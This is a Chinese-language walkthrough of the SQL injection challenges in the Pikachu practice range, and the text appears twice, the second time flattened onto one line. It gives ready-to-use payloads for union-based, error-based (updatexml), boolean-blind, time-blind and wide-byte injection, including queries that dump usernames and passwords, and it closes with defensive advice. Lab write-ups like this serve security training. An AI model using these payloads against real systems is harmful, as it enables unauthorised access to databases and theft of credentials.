Pikachu靶场通关之SQL注入
字数 2629 2025-08-15 21:32:31

SQL注入漏洞全面解析与实战指南

1. SQL注入概述

SQL注入是OWASP Top 10中危害排名第一的漏洞类型,可能导致数据库被脱库、数据被删除甚至服务器权限沦陷。

形成原因:前端传入后台的数据未经严格过滤,被直接拼接到SQL语句中执行。

防御策略

  • 对传入SQL语句的变量进行危险字符过滤
  • 使用参数化查询(Parameterized Query/Statement)
  • 谨慎使用ORM框架的"拼接"方式

2. 数字型注入(POST)

特征:参数为数字类型,通过POST方式提交

检测方法

  • 输入id=1'观察是否报错
  • 确认注入存在后判断字段数:id=1 order by 3(逐步增加数字直到报错)

利用步骤

  1. 判断回显点:id=1 union select 1,2
  2. 获取用户和数据库信息:id=1 union select user(),database()
  3. 查询所有表名:id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'
  4. 查询表字段:id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
  5. 获取数据:id=1 union select group_concat(username),group_concat(password) from users

3. 字符型注入(GET)

特征:参数为字符串类型,通过GET方式提交

检测方法

  • 输入'观察是否报错
  • 使用-- q注释掉后续SQL语句

利用步骤

  1. 判断字段数:' order by 2 -- q
  2. 获取基本信息:' union select user(),database() -- q
  3. 后续步骤与数字型注入类似,注意闭合单引号

4. 搜索型注入

特征:用于搜索功能的注入

检测方法

  • 输入'观察报错
  • 注意字段数可能较多(示例中为3个)

利用方法

  • 基本流程与字符型注入相同,注意调整回显点数量

5. XX型注入

特征:闭合方式包含特殊字符(如括号)

检测方法

  • 输入'报错后观察报错信息中的)
  • 使用)-- q进行闭合

利用方法

  • 流程与字符型注入相同,注意闭合方式为)

6. Insert/Update注入

特征:出现在数据插入或更新操作中

检测方法

  • 在注册或修改信息时抓包
  • 测试参数如username='是否报错

利用方法(报错注入)

  1. 获取用户信息:username=' or updatexml(1,concat(0x7e,(select user())),1),1) -- q
  2. 获取数据库信息:username=' or updatexml(1,concat(0x7e,(select database())),1),1) -- q
  3. 分段获取表名(因显示限制):
    • username=' or updatexml(1,concat(0x7e,right((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),22)),1)or'
    • 或使用limit逐个读取:username=' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),1)or'

7. Delete注入

特征:出现在删除操作中

检测方法

  • 修改删除操作的ID参数:id=58'

利用方法

  • 不需要闭合单引号
  • 直接使用报错注入:/vul/sqli/sqli_del.php?id=59%20or%20updatexml(1,concat(0x7e,(select%20database())),1)

8. HTTP Header注入

特征:注入点在HTTP头字段(如User-Agent、Accept)

检测方法

  • 修改Header字段值为'观察是否报错

利用方法

  • 与Insert/Update注入类似,修改注入点为Header字段

9. 布尔盲注

特征:只返回True/False,无详细报错信息

检测方法

  • 输入lucy'观察返回结果变化

利用方法

  1. 判断数据库长度:lucy' and length(database())>6-- q
  2. 逐字符猜解库名:lucy' and (substr(database(),1,1))='p'-- q
  3. 同样方法猜解表名、字段名和数据

10. 时间盲注

特征:通过响应时间判断注入结果

检测方法

  • kobe%27+and+sleep%283%29--%20q观察是否延时

利用方法

  1. 判断数据库长度:kobe%27+and sleep(if((length(database())=7),0,3))--%20q
  2. 逐字符猜解:kobe' and if(substr(database(),1,1)='p',0,sleep(3))-- q
  3. 同样方法获取其他信息

11. 宽字节注入

特征:数据库使用GBK编码,转义符被"吃掉"

检测方法

  • 输入kobe%df'观察是否报错

利用方法

  • 使用%df吃掉转义符:kobe%df' union select group_concat(username),group_concat(password) from users -- q

总结

常见注入点

  • GET/POST参数
  • HTTP头字段
  • 增删改查各种SQL操作

防御建议

  1. 所有用户输入视为不可信
  2. 使用参数化查询
  3. 最小权限原则配置数据库账户
  4. 对输入进行严格过滤和转义
  5. 关闭错误回显

工具推荐

  • Burp Suite(用于拦截修改请求)
  • Sqlmap(自动化SQL注入工具)
  • 自定义脚本(用于特定场景的盲注)
SQL注入漏洞全面解析与实战指南 1. SQL注入概述 SQL注入是OWASP Top 10中危害排名第一的漏洞类型,可能导致数据库被脱库、数据被删除甚至服务器权限沦陷。 形成原因 :前端传入后台的数据未经严格过滤,被直接拼接到SQL语句中执行。 防御策略 : 对传入SQL语句的变量进行危险字符过滤 使用参数化查询(Parameterized Query/Statement) 谨慎使用ORM框架的"拼接"方式 2. 数字型注入(POST) 特征 :参数为数字类型,通过POST方式提交 检测方法 : 输入 id=1' 观察是否报错 确认注入存在后判断字段数: id=1 order by 3 (逐步增加数字直到报错) 利用步骤 : 判断回显点: id=1 union select 1,2 获取用户和数据库信息: id=1 union select user(),database() 查询所有表名: id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' 查询表字段: id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' 获取数据: id=1 union select group_concat(username),group_concat(password) from users 3. 字符型注入(GET) 特征 :参数为字符串类型,通过GET方式提交 检测方法 : 输入 ' 观察是否报错 使用 -- q 注释掉后续SQL语句 利用步骤 : 判断字段数: ' order by 2 -- q 获取基本信息: ' union select user(),database() -- q 后续步骤与数字型注入类似,注意闭合单引号 4. 搜索型注入 特征 :用于搜索功能的注入 检测方法 : 输入 ' 观察报错 注意字段数可能较多(示例中为3个) 利用方法 : 基本流程与字符型注入相同,注意调整回显点数量 5. XX型注入 特征 :闭合方式包含特殊字符(如括号) 检测方法 : 输入 ' 报错后观察报错信息中的 ) 使用 )-- q 进行闭合 利用方法 : 流程与字符型注入相同,注意闭合方式为 ) 6. Insert/Update注入 特征 :出现在数据插入或更新操作中 检测方法 : 在注册或修改信息时抓包 测试参数如 username=' 是否报错 利用方法(报错注入) : 获取用户信息: username=' or updatexml(1,concat(0x7e,(select user())),1),1) -- q 获取数据库信息: username=' or updatexml(1,concat(0x7e,(select database())),1),1) -- q 分段获取表名(因显示限制): username=' or updatexml(1,concat(0x7e,right((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),22)),1)or' 或使用limit逐个读取: username=' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),1)or' 7. Delete注入 特征 :出现在删除操作中 检测方法 : 修改删除操作的ID参数: id=58' 利用方法 : 不需要闭合单引号 直接使用报错注入: /vul/sqli/sqli_del.php?id=59%20or%20updatexml(1,concat(0x7e,(select%20database())),1) 8. HTTP Header注入 特征 :注入点在HTTP头字段(如User-Agent、Accept) 检测方法 : 修改Header字段值为 ' 观察是否报错 利用方法 : 与Insert/Update注入类似,修改注入点为Header字段 9. 布尔盲注 特征 :只返回True/False,无详细报错信息 检测方法 : 输入 lucy' 观察返回结果变化 利用方法 : 判断数据库长度: lucy' and length(database())>6-- q 逐字符猜解库名: lucy' and (substr(database(),1,1))='p'-- q 同样方法猜解表名、字段名和数据 10. 时间盲注 特征 :通过响应时间判断注入结果 检测方法 : kobe%27+and+sleep%283%29--%20q 观察是否延时 利用方法 : 判断数据库长度: kobe%27+and sleep(if((length(database())=7),0,3))--%20q 逐字符猜解: kobe' and if(substr(database(),1,1)='p',0,sleep(3))-- q 同样方法获取其他信息 11. 宽字节注入 特征 :数据库使用GBK编码,转义符被"吃掉" 检测方法 : 输入 kobe%df' 观察是否报错 利用方法 : 使用 %df 吃掉转义符: kobe%df' union select group_concat(username),group_concat(password) from users -- q 总结 常见注入点 : GET/POST参数 HTTP头字段 增删改查各种SQL操作 防御建议 : 所有用户输入视为不可信 使用参数化查询 最小权限原则配置数据库账户 对输入进行严格过滤和转义 关闭错误回显 工具推荐 : Burp Suite(用于拦截修改请求) Sqlmap(自动化SQL注入工具) 自定义脚本(用于特定场景的盲注)